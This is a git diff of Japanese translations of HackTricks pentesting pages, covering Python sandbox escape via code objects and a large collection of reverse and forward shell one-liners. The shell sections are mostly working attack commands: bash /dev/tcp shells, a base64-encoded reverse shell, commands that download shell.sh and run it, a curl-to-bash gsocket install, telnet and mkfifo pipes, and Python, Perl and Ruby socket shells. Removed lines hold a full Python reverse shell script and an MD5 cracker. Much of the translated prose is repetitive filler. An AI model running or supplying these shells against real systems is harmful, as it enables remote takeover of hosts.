0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -1185,8 +1236,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Pythonのコンパイル ## Pythonのコンパイル
さて、実行できない関数の情報を**ダンプ**することができると仮定してみましょうが、それを**実行する必要がある**場合を考えてみましょう。\ さて、実行できない関数の情報を**ダンプ**することができると仮定してみましょう。しかし、それを**実行する必要がある**場合です。\
次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグの計算方法がわかりません(より複雑な`calc_flag`関数を想像してください)。 次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグの計算方法がわからない場合を想像してください(より複雑な`calc_flag`関数を想像してください)。
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -1221,7 +1272,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
{% hint style="info" %} {% hint style="info" %}
Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonのバージョンでパラメータの順序をる最良の方法は、次のコマンドを実行することです。 Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonのバージョンでパラメータの順序を確認する最良の方法は、次のコマンドを実行することです。
``` ```
import types import types
types.CodeType.__doc__ types.CodeType.__doc__
@ -1229,10 +1280,10 @@ types.CodeType.__doc__
``` ```
{% endhint %} {% endhint %}
### リークされた関数の再作成 ### リークされた関数の再
{% hint style="warning" %} {% hint style="warning" %}
以下の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**は、**リークする必要があるもの**です。 以下の例では、関数コードオブジェクトから関数を再するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**は、**リークする必要があるもの**です。
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -1246,8 +1297,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
### 防御をバイパスする ### 防御をバイパスする
このポストの最初の例で、`compile`関数を使用して**任意のPythonコードを実行する方法**を見ることができます。これは興味深いことです、なぜなら**ループを含むスクリプト全体をワンライナーで実行**することができるからです(同じことは**`exec`**を使用してもできます)。 この投稿の最初の例で、`compile`関数を使用して**任意のPythonコードを実行する方法**を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体をワンライナーで実行**することができるからです(同じことは**`exec`**を使用してもできます)。\
にかく、**ローカルマシンでコンパイルされたオブジェクトを作成**し、**CTFマシン**で実行することが便利な場合がありますたとえば、CTFに`compile`関数がない場合など)。 はいえ、時には**ローカルマシンでコンパイルされたオブジェクトを作成**し、それを**CTFマシン**で実行することが便利な場合もありますたとえば、CTFに`compiled`関数がない場合など)。
例えば、_./poc.py_を読み込む関数を手動でコンパイルして実行してみましょう。 例えば、_./poc.py_を読み込む関数を手動でコンパイルして実行してみましょう。
```python ```python
@ -1298,7 +1349,8 @@ f(42)
### Assert ### Assert
パラメータ`-O`で最適化されたPythonは、**assert**文と**debug**の値に基づく条件付きのコードを削除します。したがって、以下のようなチェックは パラメータ`-O`で最適化されたPythonは、**デバッグ**の値に依存するアサート文やコードを削除します。\
したがって、以下のようなチェックは
```python ```python
def check_permission(super_user): def check_permission(super_user):
try: try:
@ -1316,22 +1368,23 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。** **これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。**
## フルTTY ## フルTTY
@ -31,7 +39,7 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
他のシェルもチェックすることを忘れないでくださいsh、ash、bsh、csh、ksh、zsh、pdksh、tcsh、およびbash。 他のシェルもチェックするを忘れないでくださいsh、ash、bsh、csh、ksh、zsh、pdksh、tcsh、およびbash。
### シンボルセーフシェル ### シンボルセーフシェル
```bash ```bash
@ -44,11 +52,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
``` ```
#### シェルの説明 #### シェルの説明
1. **`bash -i`**: この部分のコマンドは、対話型 (`-i`) のBashシェルを起動します。 1. **`bash -i`**: このコマンドの部分は、対話型 (`-i`) のBashシェルを起動します。
2. **`>&`**: この部分のコマンドは、**標準出力 (`stdout`) と標準エラー (`stderr`) を同じ宛先にリダイレクト**するための省略記法です。 2. **`>&`**: このコマンドの部分は、**標準出力 (`stdout`) と標準エラー (`stderr`) を同じ宛先にリダイレクトする**ための省略記法です。
3. **`/dev/tcp/<攻撃者のIP>/<ポート>`**: これは、指定したIPアドレスとポートへのTCP接続を表す特殊なファイルです。 3. **`/dev/tcp/<攻撃者のIP>/<ポート>`**: これは、指定したIPアドレスとポートへのTCP接続を表す特殊なファイルです。
* **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドは対話型シェルセッションの出力を攻撃者のマシンに送信します。 * **出力とエラーストリームをこのファイルにリダイレクトすることで**、コマンドは対話型シェルセッションの出力を攻撃者のマシンに送信します。
4. **`0>&1`**: この部分のコマンドは、標準入力 (`stdin`) を標準出力 (`stdout`) と同じ宛先にリダイレクトします。 4. **`0>&1`**: このコマンドの部分は、**標準入力 (`stdin`) を標準出力 (`stdout`) と同じ宛先にリダイレクトします**
### ファイルを作成して実行する ### ファイルを作成して実行する
```bash ```bash
@ -57,7 +65,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
``` ```
## フォワードシェル ## フォワードシェル
Linuxマシンのウェブアプリで**RCEがある**場合でも、Iptablesルールや他の種類のフィルタリングのために**リバースシェルを取得できない**場合があります。この「シェル」は、被害者システム内でパイプを使用してRCEを介してPTYシェルを維持することができます。\ Linuxマシンのウェブアプリで**RCE(リモートコード実行)**がある場合でも、Iptablesルールや他の種類のフィルタリングのために**リバースシェルを取得できない**場合があります。この「シェル」は、被害者システム内でパイプを使用してRCEを介してPTYシェルを維持することができます。\
コードは[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)で見つけることができます。 コードは[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)で見つけることができます。
次のように変更する必要があります: 次のように変更する必要があります:
@ -66,7 +74,7 @@ Linuxマシンのウェブアプリで**RCEがある**場合でも、Iptablesル
* ペイロードの接頭辞と接尾辞(あれば) * ペイロードの接頭辞と接尾辞(あれば)
* ペイロードの送信方法(ヘッダー?データ?追加情報?) * ペイロードの送信方法(ヘッダー?データ?追加情報?)
その後、単に**コマンドを送信**するか、**`upgrade`コマンドを使用**して完全なPTYを取得できますパイプは約1.3秒の遅延で読み書きされます)。 その後、単に**コマンドを送信**するか、さらに**`upgrade`コマンドを使用**して完全なPTYを取得できますパイプは約1.3秒の遅延で読み書きされます)。
## Netcat ## Netcat
@ -85,47 +93,30 @@ bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Telnetは、ネットワーク上のリモートシステムに接続するためのプロトコルです。通常、リモートシステムにログインするために使用されます。Telnetは、クライアントとサーバーの間でテキストベースの通信を提供します。 Telnetは、ネットワーク上のリモートシステムにアクセスするためのプロトコルです。通常、リモートシステムにログインするために使用されます。Telnetは、クライアントとサーバーの間でテキストベースの通信を提供します。
### Telnetの使用法 ### Telnetの使用法
以下のコマンドを使用して、Telnetを使用してリモートシステムに接続できます。 以下は、Telnetを使用してリモートシステムにアクセスする方法の一般的な手順です。
```bash 1. ターミナルまたはコマンドプロンプトを開きます。
telnet <IPアドレス> <ポート番号> 2. `telnet`コマンドを使用して、リモートシステムに接続します。例:`telnet <IPアドレス> <ポート番号>`
``` 3. ユーザー名とパスワードを入力してログインします。
4. リモートシステム上でコマンドを実行します。
- `<IPアドレス>`: 接続先のリモートシステムのIPアドレスを指定します。
- `<ポート番号>`: 接続先のリモートシステムのポート番号を指定します。
### Telnetのセキュリティ上の問題 ### Telnetのセキュリティ上の問題
Telnetは、通信が平文で送信されるため、セキュリティ上の問題があります。パスワードや機密情報を送信する場合、暗号化されたプロトコルSSHを使用することをお勧めします。 Telnetは、通信が暗号化されていないため、セキュリティ上のリスクがあります。パスワードや他の機密情報が平文で送信されるため、攻撃者によって傍受される可能性があります。そのため、Telnetはセキュアな通信プロトコルSSHに置き換えることが推奨されています。
### Telnetの代替手段 ### Telnetの代替手段
Telnetの代わりに、SSHSecure Shellを使用することをお勧めします。SSHは、暗号化された通信を提供し、セキュリティ上のリスクを軽減します。 Telnetの代わりに、以下のようなセキュアなリモートシェルSSHを使用することをお勧めします。
### Telnetの脆弱性の検査 - SSHSecure Shell
- PowerShell RemotingWindows環境
- Remote Desktop ProtocolRDPWindows環境
Telnetの脆弱性を検査するために、以下の手順を実行できます。 これらの代替手段は、暗号化された通信を提供し、セキュリティ上のリスクを軽減します。
1. Telnetを使用してリモートシステムに接続します。
2. デフォルトのユーザー名とパスワードを使用してログインします。
3. セキュリティ上の問題があるかどうかを確認します(例:パスワードが平文で送信される)。
4. 脆弱性が見つかった場合は、適切な対策を講じます。
### Telnetの利点
Telnetの利点は、シンプルで使いやすいことです。また、一部のデバイスやシステムでは、Telnetが唯一のリモートアクセス方法である場合があります。
### Telnetの欠点
Telnetの欠点は、セキュリティ上の問題があることです。通信が平文で送信されるため、パスワードや機密情報が傍受される可能性があります。また、Telnetは認証情報を暗号化しないため、中間者攻撃のリスクがあります。
### Telnetのまとめ
Telnetは、リモートシステムに接続するためのプロトコルですが、セキュリティ上の問題があります。暗号化されたプロトコルSSHを使用することをお勧めします。
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -138,7 +129,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
コマンドを送信するには、それを書き込んで、Enterキーを押し、CTRL+Dキーを押しますSTDINを停止するため コマンドを送信するには、それを書き留めて、Enterキーを押し、CTRL+Dキーを押しますSTDINを停止するため
**被害者** **被害者**
```bash ```bash
@ -146,71 +137,15 @@ export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X
``` ```
## Python ## Python
Pythonは、多くのハッカーにとって非常に便利なスクリプト言語です。Pythonを使用すると、さまざまなタスクを自動化し、効率的に実行することができます。以下に、Pythonを使用した一般的なハッキングテクニックのいくつかを紹介します。 Pythonは、多くのハッカーにとって非常に人気のあるプログラミング言語です。Pythonは、シンプルで読みやすい構文を持ち、幅広い用途に使用することができます。Pythonは、ハッキングにおいても非常に強力なツールとなります。
### リモートシェルの作成 Pythonを使用すると、さまざまなハッキングタスクを実行することができます。例えば、ネットワークスキャン、脆弱性スキャン、パスワードクラッキング、データの収集などです。Pythonは、これらのタスクを自動化するためのスクリプトを作成するのに非常に適しています。
Pythonを使用してリモートシェルを作成することができます。これにより、リモートサーバーに接続し、コマンドを実行することができます。以下は、Pythonを使用してリモートシェルを作成するための基本的なスクリプトです。 Pythonには、さまざまなハッキングに関連するライブラリやモジュールがあります。例えば、`socket`モジュールを使用してネットワーク通信を行ったり、`requests`モジュールを使用してWebサイトからデータを取得したりすることができます。また、`paramiko`モジュールを使用してSSH接続を確立したり、`scapy`モジュールを使用してパケットキャプチャやパケット生成を行ったりすることもできます。
```python Pythonは、さまざまなプラットフォームで動作するため、ほとんどのオペレーティングシステムで使用することができます。また、Pythonの豊富なコミュニティとドキュメントにより、ハッキングに関する情報やサンプルコードを簡単に見つけることができます。
import socket
import subprocess
def connect(): Pythonは、ハッキングにおいて非常に強力なツールであり、ハッカーにとって重要なスキルです。Pythonの基本的な構文とライブラリを学び、ハッキングのためのスクリプトを作成することで、効率的かつ効果的なハッキング作業を行うことができます。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("リモートサーバーのIPアドレス", ポート番号))
while True:
command = s.recv(1024).decode()
if 'exit' in command:
s.close()
break
else:
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(output.stdout.read())
s.send(output.stderr.read())
def main():
connect()
if __name__ == '__main__':
main()
```
このスクリプトを使用すると、リモートサーバーに接続し、コマンドを実行することができます。ただし、このスクリプトはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
### パスワードクラッキング
Pythonを使用してパスワードをクラッキングすることもできます。パスワードクラッキングは、辞書攻撃やブルートフォース攻撃などのさまざまな手法を使用して行われます。以下は、Pythonを使用してパスワードをクラッキングするための基本的なスクリプトです。
```python
import hashlib
def crack_password(hash, wordlist):
with open(wordlist, 'r') as f:
for line in f:
word = line.strip()
hashed_word = hashlib.md5(word.encode()).hexdigest()
if hashed_word == hash:
return word
return None
def main():
hash = input("ハッシュ値を入力してください: ")
wordlist = input("ワードリストのパスを入力してください: ")
password = crack_password(hash, wordlist)
if password:
print("パスワードが見つかりました: " + password)
else:
print("パスワードが見つかりませんでした。")
if __name__ == '__main__':
main()
```
このスクリプトを使用すると、ハッシュ値とワードリストを入力し、パスワードをクラッキングすることができます。ただし、パスワードクラッキングは合法的な目的でのみ使用するようにしてください。
Pythonは、ハッキングにおいて非常に強力なツールですが、適切な倫理と法律に基づいて使用することが重要です。
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -220,44 +155,49 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
``` ```
## Perl ## Perl
Perlは、強力なスクリプト言語であり、Linuxシェルでよく使用されます。Perlスクリプトは、システム管理、ネットワークプログラミング、データ処理など、さまざまなタスクに使用できます。 Perlは、高レベルのプログラミング言語であり、シェルスクリプトの作成やデータ処理に広く使用されています。Perlは、Linuxシステムでのハッキングにおいて非常に便利なツールです。
Perlスクリプトを実行するには、まずPerlインタプリタをインストールする必要があります。次に、スクリプトファイルに実行権限を与えます。 Perlスクリプトを使用すると、システム上のファイルやディレクトリの操作、ネットワーク通信の制御、データの解析など、さまざまなタスクを自動化することができます。
Perlスクリプトを実行する方法はいくつかあります。最も一般的な方法は、ターミナルで以下のコマンドを実行することです。 Perlスクリプトを実行するには、まずPerlインタプリタをインストールする必要があります。次に、スクリプトファイルを作成し、実行権限を付与します。スクリプトを実行するには、ターミナルで`perl`コマンドを使用します。
``` Perlスクリプトは、シェルスクリプトと同様に、コマンドライン引数を受け取ることができます。これにより、スクリプトの動作をカスタマイズすることができます。
perl script.pl
```
スクリプトファイルのパスとファイル名を`script.pl`に置き換えてください Perlは、強力な文字列操作機能を備えており、正規表現を使用してパターンマッチングや文字列の置換を行うことができます。これにより、データの解析や変換が容易になります。
Perlスクリプトは、シェルコマンドを実行するためのバッククオート演算子(`` ` ``をサポートしています。これにより、シェルコマンドの出力をPerlスクリプト内で使用できます。 Perlは、ネットワークプログラミングにも適しており、ソケットを使用してTCP/IP通信を行うことができます。これにより、ネットワーク上のサービスやポートのスキャン、データの送受信などを行うことができます。
Perlスクリプトは、ファイルの読み書き、正規表現の処理、データの変換など、さまざまなタスクに使用できます。また、Perlモジュールを使用して、さらに高度な機能を追加することもできます。 Perlは、Linuxシステムでのハッキングにおいて非常に強力なツールです。その柔軟性と多機能性により、さまざまなタスクを効率的に実行することができます。
Perlは、柔軟性と拡張性があり、Linuxシェルでのハッキングに非常に役立ちます。しかし、セキュリティ上の注意が必要です。適切な権限管理と入力の検証を行うことが重要です。
```bash ```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## ルビー
Rubyは、オブジェクト指向のスクリプト言語であり、多くの場面で使用されています。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性があります。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されます。 Rubyは、オブジェクト指向のスクリプト言語であり、多くのプログラミングタスクを簡単に実行するための強力なツールです。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されています。
Rubyスクリプトを実行するためには、Rubyインタプリタが必要です。Rubyインタプリタは、Rubyのコードを実行するための環境を提供します。 Rubyのシェルスクリプトは、Rubyスクリプトを実行するための便利な方法です。シェルスクリプトを使用すると、コマンドラインからRubyスクリプトを直接実行できます。これにより、Rubyの強力な機能を活用しながら、簡単にタスクを自動化することができます。
Rubyスクリプトを実行するためには、次の手順を実行します。 以下は、Rubyシェルスクリプトの例です。
1. Rubyインタプリタをインストールします。インストール方法は、オペレーティングシステムによって異なります。 ```ruby
#!/usr/bin/env ruby
2. Rubyスクリプトを作成します。テキストエディタを使用して、.rb拡張子のファイルを作成します。 puts "Hello, World!"
```
3. Rubyスクリプトを実行します。ターミナルまたはコマンドプロンプトで、`ruby ファイル名.rb`と入力して実行します。 このシェルスクリプトは、"Hello, World!"というメッセージを表示するだけですが、Rubyの基本的な構文と機能を示しています。シェルスクリプトの先頭には、`#!/usr/bin/env ruby`という行があります。これは、このスクリプトがRubyで書かれていることを示しています。
Rubyは、多くの便利な機能を提供しています。例えば、文字列の操作、配列やハッシュの処理、ファイルの読み書きなどが簡単に行えます。また、Rubyの豊富なライブラリやフレームワークを使用することで、さまざまなタスクを効率的に実行することができます。 シェルスクリプトを実行するには、まず実行権限を与える必要があります。次に、ターミナルで以下のコマンドを実行します。
Rubyは、初心者から上級者まで幅広いレベルのプログラマにとって魅力的な言語です。そのシンプルな構文と豊富な機能を活用して、効率的なプログラミングを実現しましょう。 ```bash
$ chmod +x script.rb
$ ./script.rb
```
これにより、Rubyシェルスクリプトが実行され、"Hello, World!"というメッセージが表示されます。
Rubyのシェルスクリプトは、さまざまなタスクを自動化するための強力なツールです。Rubyの豊富なライブラリと機能を活用しながら、効率的で柔軟なスクリプトを作成することができます。
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -266,59 +206,19 @@ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.
PHPHypertext Preprocessorは、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、HTMLと組み合わせて動的なWebページを生成するために使用されます。 PHPHypertext Preprocessorは、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、HTMLと組み合わせて動的なWebページを生成するために使用されます。
### PHPのシェル PHPシェルは、PHPスクリプトを使用してリモートサーバーにアクセスするためのツールです。PHPシェルを使用すると、リモートサーバー上でコマンドを実行したり、ファイルを操作したりすることができます。
PHPのシェルを使用すると、コマンドラインからPHPスクリプトを実行できます。これにより、システムコマンドの実行やファイルの操作など、さまざまなタスクを自動化できます。 PHPシェルの一般的な使用法は、以下の通りです。
以下は、PHPシェルの使用例です。 1. リモートサーバーにアクセスするための認証情報を取得します。
2. PHPシェルをリモートサーバーにアップロードします。
3. PHPシェルを使用して、リモートサーバー上でコマンドを実行したり、ファイルを操作したりします。
